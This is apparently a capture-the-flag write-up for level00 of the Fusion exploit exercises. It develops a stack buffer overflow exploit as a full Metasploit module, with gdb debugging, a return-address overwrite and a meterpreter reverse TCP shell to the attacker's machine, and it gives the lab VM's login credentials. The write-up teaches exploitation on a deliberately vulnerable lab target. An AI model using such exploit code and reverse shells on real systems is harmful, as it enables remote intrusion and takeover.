This post details a walkthrough for level00 of the Fusion exploit exercise. This level contains a stack buffer overflow and no mitigations are enabled. This walkthrough will develop the exploit using the Metasploit framework.
The code for level00 is found here: https://exploit-exercises.com/fusion/level00/
This level contains a small web server that listens on an unknown port and calls the parse_http_request
function for each connection. The parse_http_request
will read 1024 bytes from the network connection and store this data into a buffer for processing.
if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
path = &buffer[4];
q = strchr(path, ' ');
if(! q) errx(0, "No protocol version specified");
*q++ = 0;
if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol")
The buffer must start with “GET path HTTP/1.1”, where path is an arbitrary string. The path data is passed to the fix_path
function:
int fix_path(char *path)
{
char resolved[128];
if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
strcpy(path, resolved);
}
The result of realpath
is stored in a 128 byte buffer. The realpath
function resolves ./
or ../
paths and resolves symlinks. This function is the source of the buffer overflow because the path string is of arbitrary length. Sending a long path should cause a buffer overflow.
Access the fusion machine over ssh using the credentials fusion/godmode, root access can be achieved using sudo -s
with the password godmode. First determine of the PID of the level00 process and the port it is listening on.
root@fusion:~# lsof -i
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
...snip...
level00 1459 20000 3u IPv4 12402 0t0 TCP *:20000 (LISTEN)
...snip...
The level00 process is using PID 1459 and listening on port 20000. This is confirmed using netcat to connect to port 20000:
pwf@ubuntu:~$ nc 192.168.79.132 20000
[debug] buffer is at 0xbffff8f8 :-)
we found it
level00: Not a GET request
pwf@ubuntu:~$
Next attach gdb to this process and check which mitigations are enabled:
root@fusion:~# gdb -q
(gdb) attach 1459
Attaching to process 1459
Reading symbols from /opt/fusion/bin/level00...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
0xb7fdf424 in __kernel_vsyscall ()
(gdb) checksec
| NX | PIE | Canary | Relro | Path
| No | No | No | No | /opt/fusion/bin/level00
| Yes | Yes | Yes | Partial | /lib/i386-linux-gnu/libc.so.6
| Yes | Yes | No | Partial | /lib/ld-linux.so.2
(gdb) c
Continuing.
Just as the introduction suggested, the level00 binary is not compiled with any exploit mitigations. The following can be used as a skeleton remote TCP Metasploit module. I created the module at the following path: /opt/metasploit-framework/modules/exploits/fusion/level00.rb
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Fusion level00 remote stack buffer overflow',
'Description' => %q{
This module exploits a stack buffer overflow in level00 of the
fusion exploit exercises.
},
'Author' => [ 'Philip OKeefe' ],
'Version' => '1',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1400,
'BadChars' => "\x00",
'StackAdjustment' => -4000,
},
'Platform' => 'linux',
'Targets' =>
[
['Linux', {} ],
],
'DefaultTarget' => 0,
'Privileged' => false
))
register_options(
[
Opt::RHOST("192.168.79.132"),
Opt::RPORT(20000),
], self.class)
end
def exploit
# exploit code goes here!
end
end
Remember to replace the register_options
array with the IP of your local fusion VM. In hopes of causing a crash lets modify the exploit method to send a payload with an overly long string of ‘A’ characters for the path.
def exploit
# Open a TCP connection to the server
connect
# Recieve the servers debug message
data = sock.recv(1024)
# Create our payload
filename = "/home/fusion/" + "A" * 500
sploit = "GET #{filename} HTTP/1.1\r\n" + "B" * 500
# Send the payload
sock.put(sploit)
handler
disconnect
end
Send the exploit and check gdb:
pwf@ubuntu:/opt/metasploit-framework$ msfconsole
[*] Starting the Metasploit Framework console...\
Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
=[ metasploit v4.11.0-dev [core:4.11.0.pre.dev api:1.0.0]]
+ -- --=[ 1438 exploits - 809 auxiliary - 230 post ]
+ -- --=[ 363 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use exploit/fusion/level00
msf exploit(level00) > exploit
[*] Started reverse handler on 192.168.79.129:4444
msf exploit(level00) >
......switch to gdb console.....
(gdb) c
Continuing.
Huh, Gdb never caught an exception!?
This is because the process fork’d before calling parse_http_response
and by default GDB does not attach to the child process. To change this behavior use the following command and send the exploit again: (gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 9997]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 9997]
0x41414141 in ?? ()
(gdb)
Success! The realpath function copied our string of ‘A’ characters into the resolved buffer causing a buffer overflow. This crashed on 0x41414141
because the the saved return pointer on the stack was overwritten with the string of ‘A’ characers.
Note: While developing the exploit we will be attaching the debugger many times. Rather than having to enable follow-fork-mode and source the commands each time, they can be placed in a file called .gdbinit. When gdb first starts it checks the local directory for this file and executes each command in it. While developing this exploit my .gdbinit file looks like:
source /home/fusion/gdb-checksec.py
source /home/fusion/gdb-pattern.py
set follow-fork-mode child
attach <pid>
c
Using the Metasploit acyclic pattern we can determine exactly which four ‘A’ characters overwrote the saved return pointer. Modify the exploit method to use the Metasploit pattern:
...
# Create our payload
filename = "/home/fusion/" + "A" + Rex::Text::pattern_create(500)
sploit = "GET #{filename} HTTP/1.1\r\n" + "B" * 500
...
Attach gdb to the level00 process again. Enter the reload
command in msfconsole to reload the modules code and send the exploit.
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 10162]
0x30654139 in ?? ()
(gdb) pattern_offset eip
127
(gdb)
Note: The pattern_offset eip
command will take the value out of the eip register and output the offset into the pattern that value was found
The value of eip is controlled by the 4 bytes at offset 127. Controlling the value eip allows us to execute code at an arbitrary address. To finish the exploit we need to get a payload somewhere in memory and put the location of the payload into eip. The level00 page gives a hint:
“Hint: Storing your shellcode inside of the fixpath ‘resolved’ buffer might be a bad idea due to character restrictions due to realpath(). Instead, there is plenty of room after the HTTP/1.1 that you can use that will be ideal (and much larger).”
Rather than trying to to put a payload into the path string replace the string of ‘B’s in the module with the payload. To find where the string of ‘B’s is located we can use the Metasploit pattern again. Modify the module to use a pattern length of 2000 in replace of the ‘B’s.
...
# Create our payload
filename = "/home/fusion/" + "A" + Rex::Text::pattern_create(500)
sploit = "GET #{filename} HTTP/1.1\r\n" + Rex::Text::pattern_create(2000)
...
Attach gdb to the process, reload the module, and send the exploit:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 10210]
0x30654139 in ?? ()
(gdb) pattern_find
| Address | Length | Region
| 0xbffff865 | 200 | [stack]
| 0xbffff9e4 | 788 | [stack]
(gdb)
Note: The pattern_find
command will find all occurances of the Metasploit pattern in memory and output its length and location.
Above we see two patterns were found. The first pattern is the path string, which was truncated to 200 bytes. The second pattern is payload which was truncated to 788 bytes. Luckily 788 bytes is just large enough for a meterpreter shell. In the module header options change the available space from 1400 to 788. The Metasploit checks this value when creating the payload.
Replace the data at offset 127 with the string address 0xbffff9e4
in little endian. This should execute the payload. For now make the payload a set of breakpoints to know we are attempting to execute it.
def exploit
connect
# Recieve the servers debug message
data = sock.recv(1024)
# Overwrite eip with the address of our payload
junk = "A" * 127
ret = [0xbffff9da].pack('V')
trailing_junk = "B" * ( 200 - junk.length - ret.length )
filename = "/home/fusion/" + junk + ret + trailing_junk
# For now make the payload breakpoints
sploit = "GET #{filename} HTTP/1.1\r\n" + "\xCC"*1000
# Send the payload
sock.put(sploit)
disconnect
end
Attach gdb to the process again. Reload the module and send the exploit
Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 10329]
0xbffff9e0 in ?? ()
(gdb) x/5i $eip
=> 0xbffff9e0: int3
0xbffff9e1: int3
0xbffff9e2: int3
0xbffff9e3: int3
0xbffff9e4: int3
(gdb)
Confirmed eip is executing the payloadi of breakpoints. The last step is changing the payload to a metsploit payload rather than breakpoints.
...
sploit = "GET #{filename} HTTP/1.1\r\n" + payload.encoded
...
msf exploit(level00) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(level00) > show options
Module options (exploit/fusion/level00):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.79.132 yes The target address
RPORT 20000 yes The target port
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux
msf exploit(level00) > set LHOST 192.168.79.129
LHOST => 192.168.79.129
msf exploit(level00) > exploit
[*] Started reverse handler on 192.168.79.129:4444
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1241088 bytes) to 192.168.79.132
[*] Meterpreter session 1 opened (192.168.79.129:4444 -> 192.168.79.132:56754) at 2015-04-09 00:56:53 -0700
Finally a meterpreter shell! The puzzle is solved. Below is the full module:
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Fusion level00 remote stack buffer overflow',
'Description' => %q{
This module exploits a stack buffer overflow in level00 of the
fusion exploit exercises.
},
'Author' => [ 'Philip OKeefe' ],
'Version' => '1',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 788,
'BadChars' => "\x00",
'StackAdjustment' => -4000,
},
'Platform' => 'linux',
'Targets' =>
[
['Linux', {} ],
],
'DefaultTarget' => 0,
'Privileged' => false
))
register_options(
[
Opt::RHOST("192.168.79.132"),
Opt::RPORT(20000),
], self.class)
end
def exploit
connect
# Recieve the servers debug message
data = sock.recv(1024)
# Overwrite eip with the address of our payload
junk = "A" * 127
ret = [0xbffff9da].pack('V')
trailing_junk = "B" * ( 200 - junk.length - ret.length )
filename = "/home/fusion/" + junk + ret + trailing_junk
# Create the exploit string
sploit = "GET #{filename} HTTP/1.1\r\n #{payload.encoded}"
# Send the exploit
sock.put(sploit)
handler
disconnect
end
end